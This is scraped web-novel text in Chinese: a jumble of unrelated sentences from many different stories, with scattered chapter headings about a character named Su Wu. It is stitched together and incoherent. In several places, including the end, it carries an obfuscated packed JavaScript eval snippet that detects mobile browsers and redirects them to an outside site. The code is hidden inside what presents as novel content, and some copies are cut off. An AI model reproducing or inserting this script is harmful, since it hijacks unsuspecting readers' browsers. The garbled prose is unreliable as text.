还是说三皇子一直与二皇子私交甚好,暗中来往,平日里为了避嫌特意保持距离。三皇子夜里私下探望二皇子,被有心人发现,给散播了出来? 还有这谦王,袁毅的眼光应该是错不了的,而且最后此人也顺利的登上了皇位,说明也不是个无用的。 当初,她又有多少流言蜚语满天飞,强行压制的后果,不还是会再次掀起新的舆论吗? 在会场门口的时候,安沁雅看到了司徒婉,与她四目相对,很清晰的看到她眼底的不甘和狠毒。 梁曼这么一想,想起儿子刚才脸上的疲惫之意,也就没有在多说什么。 他的家就住在荆棘城中的最华丽的主干道之上,当然肯定没有荆棘城城主的宫殿华丽,但是也相当的气派。 “多谢师傅了。”叶星惊喜的道。自己单独居住在这,也不用怕别人打扰自己,而且自己修炼的时候,有什么不懂的地方还可以去问云天空或者其他的一些师伯什么的,比自己苦逼的修炼好多了。 第104章 愿拜为义父! 只待宗泽见过李良嗣之后,两人相谈一番,苏武在一旁吩咐军汉们安营扎寨。 还有得忙。 宗泽夜里竟也不回城去了,就在苏武军中,两人在帐内坐着,说是叙叙旧情。 便是宗泽也问:“你要多少船?” 苏武其实没概念,他只在河道里见过内河船只,此时也不知海船多大,便只答:“我这么些人,这么些东 “别找了,我刚才看见她跟两个朋友去洗手间了!”盛鉴脸上带着笑意对顾筱北说。 ‘玉’榭有些‘迷’茫,回到人界,他还能够和澹台明月如此的亲近?他们有着各种的使命,不同的立场。 实力,让五大家族都害怕的实力该是怎样的强大?不过这对梁栋来说难吗? 林西凡说着,后退一步,然后双手架着龙帅的手腕,然后一个牵扯,将他往前扯了过来,林西凡现在使用的同样是太极劲,但是不一样的是现在林西凡使用的只是一个很简单的推手,牵拉,然后顺势的就将龙帅给扯了过来。 王彪知道苏菲的心意,也没有再劝。不过,他也是不能够融合这枚神王神格的。既然这样的话,只有把神格给维多丽特了。 “不要做多余的事情。”北斗懒懒的开口,声音淡漠清冷,不骄不躁,不愠不火。 百里千寻的目光顺着它的站立而抬起头,心中惊骇,那强烈的威压几乎压得他无法动弹。 而刘皓他们来到这个世界之后别说玩了,一直都是到处战斗到处漂泊,连城市都没进去过,一旦进去的话就是大战了。 可是看着她身边出现一个又一个的优秀男子,他真的着急了,心中也醋意翻腾,他不是大度的人,就算知道北斗必定会和多个男人一起,却还是会不舒服,谁会愿意把爱人和别人分享。 “嘶”剩下的光复门的这些人就更加的绝望了,他们眼中自认为最强大的两个高手,在人家的面前连一招也躲不过,这样大家还有逃生的希望吗? 乱风城的治安为什么会这么好?用夜不闭户、路不拾遗来形容也不为过,百姓安居乐业、修仙者严格律己,绝对不会欺负普通百姓……这一切都是白大庆的功劳,他大公无私,处事公平,所有人都服他。 看到许天一枪刺来,他也一枪再次刺了过去。“嘭”这一次许天稳稳的压制了对方,对方虽然是大帝至尊仙人的时候,是震古烁今的无上存在。 “正所谓水往低处流,人往高处走,你完全可以抛弃现在的丈夫,然后去找更好的男人,这是无可厚非的事情,别人不会笑话你的,至少我不会笑话你。”冰冰一本正经的说道。 这样子臭骂敌人,他们都不愿派出一军前来迎战,看来,敌人昨日挑战,没有占到什么便宜,可能确实也行动谨慎了。 “你要去哪儿,拉斯提,别做任何傻事。”任凭雷德在后面怎么样的叫喊,拉斯提都没有停下脚步。 金郁楠虽然心里依旧还是有顾忌,但是看着打头的张邵苧和叶勍都已经下去了,自己也就没有什么办法,也就只能跟着下去。 精致的五官,修长匀称的身材,一身主打歌的打歌服,完全就是固有的,大众印象中,爱豆该有的样子,没有一丝瑕疵,完美,长得好看的孩子。 “不可能,这不可能!”他不相信这个事实,把剩下的米袋一个个全划开了,但里面装的全都不是大米。 第105章 当亡,该亡。 顾大嫂激动去喊人。 店里,酒菜该上还在上。 苏武也在说:“栾师父,倒也不知你那师弟本事如何?” 栾廷玉闻言就懂,知道如今苏武最爱人才,点头说道:“便是一手好枪棒,与我无异。” “他是哪里人士?”苏武又问。 栾廷玉便答:“琼州人士。” “嗯?”苏武以为自己听错了,琼 可是现在,当三十年一晃眼而过之时,她突然发现,原来这么短,这么短。 不管怎么说,宁仟都不想给沈成韧拖后腿,只不过她真的不知道这个时候自己该怎么办。 康桥微笑着看着眼前这个娇羞了脸的警花,心里升起了一堆疑问:怎会是因为我呢?并不是我让她来的?何况她前几天还在北京,这会儿咋又到了山里?想着问题,他脸上便有些茫然,目光有些呆滞,只顾傻呵呵看她。 潘惟吉听得微微一笑,杨排风看着胡三原,上下仔细的打量了一番。 丁隐还真的去想了,可是回忆去让他觉得很不堪,似乎只有在乔心宁死去之前,一切还算美好,听过她咯咯咯咯响彻丁府的笑声。 赵晚晚恶狠狠的瞪着她,她就如同没有看到,转身离开。李元昊叮嘱了赵晚晚几句,也随着她一起离开。 她想,她真的变坏了吧!从任性到变坏……是从什么时候开始的呢?好像是待在塞西尔身边之后,渐渐的变了的。 康桥懂得这个道理,玉儿也懂得这个道理。所以,玉儿虽然感动于康桥的关心,可她必须躲得远远的。因为自己和康桥是处在两个世界的人,永远不可能有交集。 门主是什么实力,大家都是一清二楚的,自然也不相信会在这个时候被人给杀死。 可罗浮生不知道的是,在他的身后,袁紫陌看着他的背影露出了灿烂的笑容,就在门合上的一刹那,清脆的笑声响了起来,向四周荡漾开去,给病房增添了几分暖意。 徐高枫活了很久,见过了很多,当然也失败过很多次。要说他这辈子最大的成就就是创建了同流,可是正是因为同流,毁了他一生。 西瓜也是震惊的说不出话来了,因为不是周末,所以来庙里的人并不多。庙里散发着焚香后的味道,闻着非常舒服,好像也有凝神静气的作用。 李笑装显然没有料到林枫竟然在短短的战斗之中把他的能力看得这么透彻,心中不由地一声惊叹。 尽管庞大的虚圈被永远暗无天日的黑暗所笼罩着,但虚圈之中仍有阳光和蓝天白云,那个地方就是虚夜宫。 因此,各个级别的Model都行动起来了,纷纷开始上妆,准备以最灿烂的容颜迎接客人的到来。 他已经有计划了,无论是否能查出艳鬼背后那个黑手,都得超度了,否则拿什么去开启这包裹? 看见教室内众多男生的动作,李诗雨笑了笑没有说话,她知道自己的魅力,虽然不喜欢别人以貌取人,但是对于自己的魅力还是很有自信的。 我顿时被干的没电了,虽然是很想走的啦,因为对于杨义磊我是打心底感觉不安全,在他家,我就心里突突,可杨依这妮子为了我跟他哥哥爸爸闹情绪,我心里确实感动。 “这怪了……”夏朗生看着陆辰皓的眸光带着某种意味不明的深邃。 两个龙卷风突然向秦天打来,秦天不缓不慢的一闪,在他的眼睛里,这些攻击根本没有什么威力。 第106章 苏总管已经杀去也! 苏武看着那江水出海之处,浑身莫名起了几分紧张。 便是站在船头到处瞭望,岸边皆是树木与茅草之类的植被,并没有看到人居住的房屋,也没有看到任何人影。 苏武便是大喊:“往那边,往那边……” 他选了一处看起来颇为坚硬的岸滩,大船并不能直接上岸,而是要停留在近岸二三百步之处。 所有人, 盘歙口中突然发出一声大象愤怒的吼声,跨下巨象闻声双耳呼呼疾扇,长长的象鼻狠狠抽向子辛。巨象背上,盘歙双手斧悍压而下。 而林携则是心中无限马麦皮,手中的火麒麟枪管已经有些通红了,再打下去估计就会因为枪身过热引起炸膛,虽然他不知道这火麒麟会不会炸膛。 “那你说,李青他是不是该死?”公孙齐声音发寒,一双死鱼眼紧紧地眼着李青。 火焰顿消、罡风不再,湿润的空气伴随着清风再次吹拂脸庞,四周的景象又重回原貌。 ‘臭妮子,你是认出我了,故意的吧?’云杰看着一点也不紧张反而露出得意笑容的菲欧娜,瞬间明白怎么回事了。 “鄂侯真的认为名满天下的西伯侯姬昌会是傻子不曾?”对于鄂崇禹的智商西胤也很无语,只能开始一步步引导。 所以子辛一面要求汜水关守将韩荣派出多路人马前往朝歌报信,而自己却安然呆在汜水关内韩荣专门安排给他的院中。当然西伯侯姬昌和昏迷的张奎一定要安排在身边随时可见的地方。 “怎么,老朋友几十年不见,连我都认不得了吗?”只见这一道黑影缓缓抬起头来,显露出了隐藏在黑袍之中的面容。 狄仁杰瞪了一眼江胤,这李太白是揣着明白装糊涂呢?说好了诗研会要即使作诗,可是你非但不按规矩来,而且抄的还是李大人的诗句,这不是存心让自己难堪么? “我来自天门雷家,名字是不鸣则已一鸣惊人的雷鸣,请问大哥如何称呼?”雷鸣主动示好。 而苍穹府最强的高手非裘天洛莫属,当年遭到邪神殿窥探的苍穹宝鉴,如今已被裘天洛修炼到了炉火纯青的地步,手印一起,最高功力可吸纳九天雷劲为己用,雷罡电芒凶猛无匹,仿佛雷神降世一般,神威不凡。 手掌罩上红彤彤的雾气,具有强大的腐蚀性,抓住无形的气墙猛烈撕扯,竟然撕开了一条口子。裂口周围布满了不可名状的烧灼物,他顺着口子钻了出去,逃之夭夭。 “镜湖老人不在这里,前阵子来过了,但是行踪难觅,医馆的人也不知道他老人家到哪里去了,听说十天半月就回来,但是也说不好,可能一年半载,反正这个就要看他老人家的心情了,”阿牛说。 “你来了。”刘繇在院子里轻轻漫步,刚一转过身来眼中倒映出一个英俊的男子的身影。 寂静,所有人都屏住呼吸,碑林中只能听到阵阵风吼,地面上虽然不断发光,但整个碑林却是仍然没有任何变化。 当白耀的身躯与玄冥宗山门牌匾持平时,眼前这块长五米宽三米的金漆牌匾显得格外醒目,白耀很清楚自己在干什么,为了兄弟,他可以与全天下为敌,与整个江湖为敌,区区一个玄冥宗又算得了什么。 到了公司,张凡没有惊动任何人,先径直走到总经理助理办公室,敲门。 第107章 他要与你结为兄弟 只待百十号人,都停在了苏武身后,苏武开口来说:“弟兄们,小心了,这些人着实不是那贼人可比,了得非常,莫要托大,队形站好,互为依托!” 身后百十军汉,皆是齐齐一声:“得令!” 长枪百十杆,往前一送,亦如军中操训一般,摆好队形。 苏武看了看头前惊恐的这三四十人,便是知道他们哪里见过这般 当勺子回到碧水蓝天的时候,莹莹已经在门口等候了,看见勺子回来,莹莹直接跑了过去。 一天夫妻恩爱。至暮晚归家。三人走在街上。只见街市之人皆寻夜摊购买香烛。家家布施僧侣。 “不必推辞,将来你就是家族的族长,而且以你的灵根级别一定会晋升到圆满、渡劫期,甚至飞升仙魔界,所以此物对于你来说并不算什么,你收下就是。”见秦冰雨面带犹豫,不肯接受魂牌,秦樾锋佯装不悦地说道。 没错,她正在心底里公平公正不偏不倚地评价着苏冥的真实相貌,并不会因为他救了自己而违心地说出“其实你脸上的疤痕还蛮有型有格的呀”这样的话来。 中午,12点,楚洋从睡梦醒来。睁开眼睛,映入眼帘的就是莹莹似笑非笑的脸庞。 “曾科长,你想好了沒有,我们的事情你什么时候帮忙处理。”陈建沉声道,双眼盯着曾科长。 “什么意思?”楚洋疑惑道。他真的不明白陈伯为啥给他说这些东西。 能够让一个金丹期二层境界的修炼士如临大敌,由此可见除魔尘的威力了。 冷漠言毕,手中的剑已被震作三节,面如死灰,凄怆潸然之间全不见刚才英姿勃发的万丈豪情。 那个神秘奥特曼真的是眼前的人类变的,日浦队长心中虽然知道了真相,却没有感到任何放松,反而感到更加沉重,因为人类一直把当做保护神的奥特战士,居然会是人类自己。 “轰”的一声炸响,在空中爆炸开来,爆炸的冲击波向四周冲击出去,戴拿立马抬起手臂在胸前交叉,准备切换形态。 这就像是著名的空城计,越是看起来毫无招架之力,反而越是显得可疑。 徐瞎子手里拿着一根盲杖,浑身的衣服破破烂烂,头发上满是污渍,发丝纠缠在一起,脚上的鞋子磨破了,大拇指露在外面。 白夜一阵疑惑,章鱼怪的表情显然它确实知道些什么,但是却不敢说,可是这章鱼怪的实力他刚刚也见到了,明显要比基伽奇美拉还要强上一丝,要不是他的金色火焰能够克制它的话,要想打败他还真不容易。 就在此时二人头顶之上忽然传来一个稚嫩的声音,那个声音最后一个“啦!”字拖着长长的尾音让人明显能够感觉到它是由远而近的极速坠落中发出的。 刹那间,庭树的七夕青鸟,沙奈朵、艾路雷朵、梦妖魔,狩猎凤蝶齐齐从精灵球中而出。 吕老师今年已经六十五岁,在一高任教四十年,退休以后,又被学校返聘回来。 黑袍人心中猜疑起来,他口中的白老头正是白夜的爷爷,对于白老头,他自认为全宇宙中自己是最了解他的人,所以他才能在自己实力低下的时候,将所有人的视线转移,自己悄悄的到这个宇宙隐藏起来。 “萧山,你回来了,你回来了,怎么也不说一声,幸亏我开门了,走吧我们回家吧,嫣儿,已经回家做饭了!”萧山听着谢天关怀的话语,抱歉地看向谢天说道。 第108章 你来与朕说…… 苏武起身了,众人皆在笑,苏武也笑…… 苏武更知道,大宋很长一段时间内,不会是他苏武说了算,也更知道,大金很长一段时间内,也不可能是完颜兀术说了算。 这会是一场悲剧。 只是眼前,气氛正好,好似都是美好之事。 孤立无援的金人盼来了大助力,“锐意进取”的宋人,找到了好伙伴。 他们早就是中国境内响当当的人物,不像叶梵是最近才“蹿红”的。 也难怪武凌天会头痛了,在众位长老担忧的神色,武凌天缓缓走到男子的身边,试探性地在离他身体三尺远的地方坐下,眼角的余光扫到焦黑的土地,还散发着淡淡的白烟,眼皮不禁多跳了一下。 “好!我知道!放心好了!”林翔凤一应下,他就立即去点起了士兵前去安营扎寨。 秦远的心中下了决定,对轮椅男的检查,也差不多了。只不过,轮椅男对秦远,并不抱任何的期望。 为了这一天,我特意的放下手中所有的工作,甚至是和仲村由里之间的战斗,为的就是给绯月过一个特别的生日,答谢她在工作中对我的帮助。 刘忻和雯雯两人,你一言我一语的和秦宛如陈述着那是的一幕幕。 之前的战斗,聂天行受了伤,伤势还算严重,在解救天云子之前,必须把伤势恢复痊愈。 这是秦远所看过的所有人中,最为特殊的一双眼睛。看上去死气沉沉,偶尔闪过的一抹光华,却又生机勃勃。 雯雯从秦远专门营造的气氛中,看出秦远接下来所说的话,将会非常的重要。 在南宫平和风影闭关恢复的时候,分身就代替南宫平离开了怪兽星球,而后乘坐传送阵赶往坤元门。 场中,此时天宇大陆算上独孤败天还有五名远古强者,彼岸算上大魔天王还有四名强者,双方实力相差不多。 顺着白芷手指的方向,昊天和杨戬看见一个身着五彩华服的年轻公子正手执玉瓶,弯腰给他脚边一株泛着绿光的绿草儿浇灌。 一道紫色雷电划破天际,将北极、北海、三岛海域、雾海等海外之地尽数照亮。 众人在这铺天盖地的战车之下,再也忍不住惊呼起来,一个个脸上露出震惊和兴奋之色。万宝楼给炎武城的支持越大,他们自然得到的好处也就越多。 作出这个决定,对于周维清来说并不艰难,尽管时间过去不长,但现在的周诈清已经不是当动那个刚刚进入翡丽皇家军事学院时的他了。 “武乾劲何在!”梁鹏飞看到了吴良的表情,嘴角微微一弯,沉声喝道。 两个同样为了感情而爆发心火的男人,就在这一刻碰撞出了夺目的火花。 午前雨,午后晴,船行水上时,已云白风清。青山倒影在水中,水色深碧。岸上的风景年年相似,只是坐船的人每次不同。行船静水,很容易让人产生时光凝滞之感。恍惚之中已到了码头,云落搭车前往大涌谷。 不得不说,他的口才很好。经他这么一番说道。许多中立的朝臣,都觉得,这江家恐怕真的不清白。 海蛇很沉默,伸手一招,就从空气中用异能控制着弄出来了一条活灵活现的水蛇,蛇嘴张开,两枚蛇牙却是漆黑的带着剧毒。海蛇手一摇,水蛇就散去,那剧毒也不见踪影。 乐乐看到这俩个可爱的堂弟,就觉得他们投胎到这样的父母这,真的很悲哀一想到他们被病痛折磨到一个跪着求死、一个跪求父母让他多活几年。乐乐就觉得心里有些酸酸的。 第109章 那就先剿一剿嘛 夜色迷蒙,燃起火把的大军如赤色长蛇穿行于红石峡。这里的魔族守军只是幌子,哪里能与韩常所率精兵相比,一触即溃。 “你们还是束手就擒吧,就你们几个还想要继续抵抗下去吗?我知道你们是想要等修罗回来,但是你们还是不要妄想了,他是回不来的了!”众多黑衣人当中,为首的一个中年男人,嚣张的对着围在中间的坦克等人说道。 “大哥,不如就带上他吧,我看他挺有意思的,你留他一人在家,真的放心吗?”慕云葶频繁回头朝帝景看去,终于在行至半山腰时,鼓足勇气替他向慕云澄求情道。 莫弈月的身上也冒出了徐徐轻烟,露出水面的上半身更是布满了豆大的汗珠。而他此刻的表情十分难受,喉间似有卡住什么东西。 “迹部,你来了。”一进别墅的门,就看到了翘着二郎腿的迹部景吾,正坐在沙发上品着茶。 刑天刚刚那一刀,不仅将楚嫣洁白无瑕的玉背砍出了一道伤口,更是震碎了楚嫣体内多道筋脉。 但这还只是外表,陆家更多的生意,都是在肉眼看不见的地方,而这才是其实力雄厚、屹立数十年不倒的原因所在。 “慕云澄,我一定要打败你!”他牙关紧咬,手中长剑随即挥动开来。 龙七少爷冷哼了一声,对于这个提醒他的人,多少还是有一些忌惮,大手一挥,带着一众人等离开了。 慕云澄随即将剑虺掏出,心里暗道这陆上要塞岂可白白荒废?眨眼间剑虺暴长数丈,眼见这铁索巨蛇撑开身形足以将这大寨拱开,慕云澄连声呼喊足够用了,可它却仍又长了一丈多,将这大寨的天棚顶了个窟窿。 周一平三重凝魂诀围绕着这段尾巴,感知到隐没有说谎,确实是一种生物的残骸。 “但是……”庄轻轻还是觉得奇怪,就算是打电话不接,家里没人,他怎么知道自己一定在公司呢?不过霍凌峰似乎并没有打算让自己问下去,直接打断了她说话。 而桫椤则是万人敌,在单挑上还无法显示出桫椤的能力,但是在战场上,桫椤就是杀神,真正的万人敌,一夫当关万夫莫敌,只身入敌阵却可以将敌军杀的屁滚‘尿’流。 陈青的话语给了利彩蝶底气,她轻移脚步跟陈青并列,先是冲他甜甜的一笑,接着面部再次变得威严霸道起来,弄得陈青一愣,这简直就是俩人,根本看不出那个才是真正的利彩蝶。 突然,黎明头顶上方的天罡剑周身猛然迸射出道道金光,随后天罡剑的表面居然开始“蜕皮”,原本铁色的天罡剑,居然变成了黄金色,现在的金色可不是之前的黄金剑可以比拟的。 杨玉环这么和大家一解释,所有的人也就大约明白了这个通话筒是怎么回事了,这个虽然和实际是千差万别,但是最早的通话器也就是根据这个原理发明出来的。 人才,仅凭钱吸引来还不够,还需要给人才创造一个适合发展、有前景预期的环境,而这个环境,比前者更重要。 这下是安静了,可接着又是议论大起,很多不到仙境修为的人大为不满,好不容易下决心投靠,却得到这个结果,要早知道不要仙境以下境界之人,何苦到来。 还好蜃龙只是上品防御内甲精魄,并不擅长进攻,这一横扫让周一平双手有些发麻,否则一个‘守’如何挡得住? 霍凌峰的车子再次嘎然而止,停在了路上,然后霍凌峰的眼神带着凌厉,回头看着庄轻轻。 林修正冥思苦想,他走到窗外,看着楼下那些身着各异的修士,心中难以平复。可是突然,他目光一瞥,猛然看到一个熟悉的身影正步入这间客店。 听到韩懿灵的解释,天道凌顿时就恍然大悟,他终于明白了为什么韩懿灵这个技术那么强大的人才会忽然帮助自己对付王虎。 程龙虽然得意,不过却不会忘记自己的来意,要知道他这次特意从美国赶来参加卢浩民的婚礼,除了是给卢浩民面子之外,主要是知道卢德双也会到场。 在部落大势的加持下,原本新纳入的族民也逐渐的心思安定下来,一些曾经的散部强者,已经隐约明白,他们需要忘记过去,才能真正的融入到这个新晋升的中品战部中来。 他见护卫们一个个都垂头丧气的,没有一点精神。哪怕是胡汉三和刘大能也是如此。 当然萧晨也并没有一厢情愿到紫鸢到达如此境地,但是若是能够领悟一丝涅槃重生的力量,对于日后却是有着不可估量的好处。 见此,望着这些朴实的村民,易江南知晓,自己是错怪觉空与流苏了。 “挺好?一次两次你感觉的挺好,要是天天如此你就不觉得好了。”朱妈妈没好气的说道。 此刻,月光洒落在何秀娘那洁白无瑕的面容上,那脸上点缀着一抹嫣红,秦逸之竟是不由得看呆了。 他正要打电话给娜美问问用不用帮忙,那艘海贼船却突然急速跑开了,而阳光号毫发无损,搞得巴基越发懵了,这又是什么情况? 第110章 行是不行? 刚一回来,自有接风洗尘的酒宴,自也还是在那孟娘正店。 正店里如今真正在外主事的,自是母大虫顾大嫂。 顾大嫂自是麻利得紧,里里外外,迎来送往是一把好手,这里来去都是头脸人物,不是那街面浑汉。 顾大嫂便也收了几分凶悍泼辣的姿态,便是打扮上也变了不少。 也是孟娘子知道是自家苏郎寻来 “李准奕,人家在说你,你干嘛把我也说起来。”在一旁努力让自己“隐形”的李胜基立刻激动起来。 说这些话,也不单着是因为赵红军他爹是赵铁拳,还因为赵宏军这份深情让我感动,不过陆榕感动不感动我就不知dào 了,没准当事人还特别嫌烦呐,世间的事不就是这样吗? 众人将焦土王蛇的尸体围起,一个个眼中露出贪婪的目光,不需要商量,分割尸体的重任自然落在了凌汉的身上,不为别的,只因为他身后的那把巨大的砍刀就是最好的分尸利器。 不多久,赵铁柱就接到了戒杀打来的电话,这些人,果然没出赵铁柱的意料,都是东兴那边的人。 “那到底是谁呢?”王荣仰头看着天空中的明月,发现今晚的乌云好厚,除了从偶尔的一点点稀薄的乌云中偶尔的看到一个朦胧的月亮之外,其他就如同一个巨大的迷雾,而他就是处于迷雾中间。 所以准备探探这个郝帅的底细,毕竟自己来圣华上大学的目的,主要是当保镖。 两人没想到孙坚竟然会放下和华雄的仇恨,又把矛头对准了他们。 相反,随着赵泰来身边高端战力的极度匮乏,白鹏的地位反倒越来越高。而他的地位越高,做出的危害也越大,做那些事情也越顺手。 “就是这。”拳虎指着面前的一座青砖大院,里面有个双层楼房。虽然造型很古朴,但是雕梁画栋,感觉相当气派,而且占地也挺广,放在十几年前肯定是大户人家。 “好一座雄伟的城池!”我不禁由衷赞叹,想必羌人也是为这种兵来将挡水来土掩的霸气所震慑,不敢轻易围城。 夏末正想到这里,忽闻外面一阵脚步声,她忙装着中毒的样子趴在了地上。 显然这是觉得自己的能力有限,如果自己根本就没有能力,干吗要抢夺公司呢?如果真的有这个能力,完全可以独当一面,自己把公司抢过来,如果他不请南宫琦帮忙,或许穆昊天还不会这么生气。 刚说完,楚诗语就觉得自己说错了话,明明也是真心的关心殷亦航,可是为什么刚说的话,表达的意思就像是自己觉得殷亦航是个累赘呢? 描述:中亚金身为一种功法金身,一旦释放将得到中亚上神守护,任何情况下为不死状态。 高坤坐下身子,抹了抹脸上的墨汁,一张脸已经黑得像京剧里的包公。 四周的环境,不容得他不警惕。炎热的太阳,泣血的锈剑,处处透露着诡异。 “妈咪~”恩泽刚揉着眼睛走出门来,就听到了自己的妈咪不要自己的消息,声音别提多委屈了。 可惜,周围的妹子们却不打算放过调侃她的机会,立刻就是你一言我一语,各种调戏姬雪莹,直接把姬雪莹弄得是无力招架。 圣人之上的强者有着几十位,全部手持武器对准了五岳宗的众人。 风杨冲天而起,在裂缝合上的那一瞬间冲了出去,在他离开后,庞大的骸骨大陆彻底溃散,化为虚无,似乎从未存在。 第111章 他苏武是哪个鸟厮? 又是奸情出人命的事。 杨雄,江湖诨号病关索,本是蓟州公人,他妻子潘巧云与和尚裴如海通奸。 发现了,自然就是杀人之事。 杀了人,惯例,先跑,再寻个安身之所,如今梁山宋江大旗一展,江湖之上哪个不知哪个不晓? 石秀与杨雄是意气相投,也是这场奸情的主要发现者,自是一道去跑,又遇到个鼓 太后此举令伊哈娜慌了手脚,能够在宫里头生存下来,伊哈娜心里很清楚自己最大的依仗就是太后,要是失了她的欢心,别说得其他的封赏,只怕连现有的乡君封号都保不住。 我依然是个吃货,吃得不亦乐乎,也是考虑到等下要开车回去,我就没喝酒,在其他人的觥筹‘交’错相互劝酒中,我就以茶代酒了。 墨子离立即反应过来,当即飞身追了出去,巨大的星棋图阵翻天而下,直直震得大地晃了两晃。 宋词看见金发光脸一红,艾玛,征战商场多年,她有多久没有脸红的感觉了,怎么一看到他就心跳加速? 宫玄月眉目间有些恍然,似是忆起了陈年往事,当年宫家与他们家都是手握重兵的将门之家,二人也难得是旗鼓相当的对手,长乐仙被扔下了忘川河,他料到古月仙会起兵造反,当夜还特意只身前去绝情谷找他。 只不过现在场景进行了对换罢了,日本军人在美国人的炮轰和绝对火力压制下,只能牺牲生命来换取那或许会存在的胜利。 其实少爷的笑容很温暖,很阳光,如同寒冬的太阳照在人的身上,让人的心里感到暖哄哄的一片。 白彦松如今受了伤,齐东平武艺虽好,于朝堂或者军事却是个门外汉,人事应对更不可能像孙延龄这般自如,孙延龄能够留下来帮她,她就能松口气了。 金发光这次没有像上次一样,左瞄瞄又看看的,而是直接出手,只见那刀闪过一丝寒芒,“啪”一声直接扎入了房东老头口中含着的苹果中。 莫乾的呼声,激起了莫族战士的血勇,忘记了恐惧,无视黑龙兽的威压,纷纷扑进山谷。 “这……这是你么?”男生指着其中一个相框,惊喜万状地睁大了眼睛,终于缓慢地开口。 她刚才在江南大酒店吃饭,吃完以后,带了点饭后果子核桃,正愁没东西砸开它们呢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14702537|157040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 九皇子带着九大高手,离开这里,秦峰则是迅速想办法谋取冰钟当中的卷轴。 七八秒钟之后,白牧野愈发习惯了身为一个高级符篆师的御符方式,磅礴的精神力就是他最大的底牌。 每年5月份他都要去一趟法国,并不像是公干的样子,到底是为了什么呢? 秦峰认为自己已经仁至义尽,此地的战况,江东孙权,已经俱皆了解。 她才主动提出,让郝太太用自己的手机给郝先生打个电话,让郝先生带一根过来。 股股三昧真火都被他吸收到了自己的体内。往昔在天庭当中,秦峰可是经历过那太上老君的炼丹炉煅烧的。 温暖的阳光,温柔的月光,带有泥土芬芳的微风,哪一种都让我觉得十分舒适,甚至忘记了时间这个概念,不知多久,也许几天,也许十几天,也许更久,总之,我竟能感到风吹雪落和花开。 教室里漫溢着浓重二氧化碳的热气,窗户玻璃上氤氲着朦胧的水雾,在教室走廊上透过玻璃窗看教室内的景象,一个个同学的脸庞被氤氲的水雾掩映得模糊不清,倒有些似梦境中隐约虚幻的剪影。 第112章 你还有几分本事呢 独龙岗,本就是官道附近,祝家庄更是官道之旁,南来北往的商旅,多愿意在此落一落脚。 所以,祝家庄里,每日也是人来人往。 今日又来一伙人,领头的是一个儒生,便像是主家,跟着五六个汉子,便像是家丁。 祝家庄酒店有几处,寻一个酒店进去,落座点了酒菜。 便听左右在说,说的就是前日祝家庄 她对姚启悦本来就挺满意的,更何况,现在又知道她家世、学识都不错,那还不当成宝贝一样? 只不过,这会儿看徐潇的样子,他看起来好像真是要控制不住了似得,一双眼睛,冒着绿光,盯着韦晓婷玲珑有致的娇躯,贼兮兮打量着。 席杳见他这幅样子更是气极,揪起他的衣领便要教训,瞥眼见他脖子吻痕抬手一拳砸在他脸上。 池九霄直在心里夸赞君轼的机灵,没想到这人受伤一场脑袋也变得灵光了。 一个脑袋落在席若白肩膀甘青司闷哼一声昏厥过去。席若白手刚碰到他背这人又一阵抽搐蜷紧了身体。湿透的衣服在席若白掌上冰冷异常,他竟不知甘青司忍痛到如此地步。 再次震碎一个光团,依然是一本天阶武技,陆尘眉头微皱,旋即,身形一闪,向着深处暴掠而去。 身份令牌上的积分,恰在此时清零,那磅礴如山的威压瞬间消失,6尘只觉身子一轻,紧绷的身体顿时瘫软下来,汗水混合着鲜血打湿了衣衫,口鼻之中不断喷出粗重的喘息。 众人夸得少年白净的脸上泛满笑意,不过下一句话就让他的笑容彻底崩裂。 时清欢撇嘴,她还想知道呢,恨不能扒开楮墨的脑袋看看!可是,不能。那么,她就只有用自己的办法。 三人视线交错,一时之间没有了任何话语。有时候很多话语与其说出来不如藏在心中来的更让人明晰。 罗琳娜主动牵住云千峰的手,虽然云千峰看似轻松一笑,但是罗琳娜看到的,却是他内心里藏着的恐惧。 杨戬也就只是挨了两下,何况他扑出来的时候,那两名行杖的宦官也下意识地收手。 若是在一两天之前,宋武一定激动不已,可接过了这么多电话,他已经开始麻木了。 “羡慕有什么用?既不能打,又不能卖,当摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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当鸣人到达波之国的时候已经是傍晚了,金黄的夕阳光撒在波之国的街道上,周围人来人往的却看起来毫无生气。 只是,这只是一场演习,临时建立起来的防御和通讯系统,自然是没法跟蝶网的总网络系统相比的。 鸣人看着就剩下最后两张,心里不禁有些气恼,果然非洲人只配保底吗? 自来也对这件事并不惊讶,大蛇丸在没叛逃之前就和团藏有关系,现在继续保持联系也不是什么奇怪的事情。 就连城主府后院,那些被各方势力硬塞给清风的姬妾们,也慢慢的听说了简宁的大名。 清风:“安平,你我都是聪明人。我们两个谁能给简宁更好的生活,我希望你回去能好好想想。 他让林浩拿着加特林进来,本来,就是想要让他热血一把,稍微提升一下自己的自信心。 温亦辰的房子在离仲氏集团不远的一个公寓里,公寓是一室户的,当温亦辰开门的那一刹,一股淡淡的清香便跟着从房间里扑面而来,让江慕温忍不住深吸了一口气。 “我放你娘的屁,老子什么时候怕过,你给我记住,老子早晚有一天把雷骑的旗帜插到你们魇洲去。”司马落已经怒不可言,若不是离万江与吕势极力拉扯恐怕早就扑了过来,就如同那拴着的疯狗想要挣脱枷锁咬人一样。 门刚被推开,江慕温便听到了从隔壁传来的开门声,她下意识地抬起了脑袋,下一秒,一个熟悉的身影便跟着出现在了江慕温的眼前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 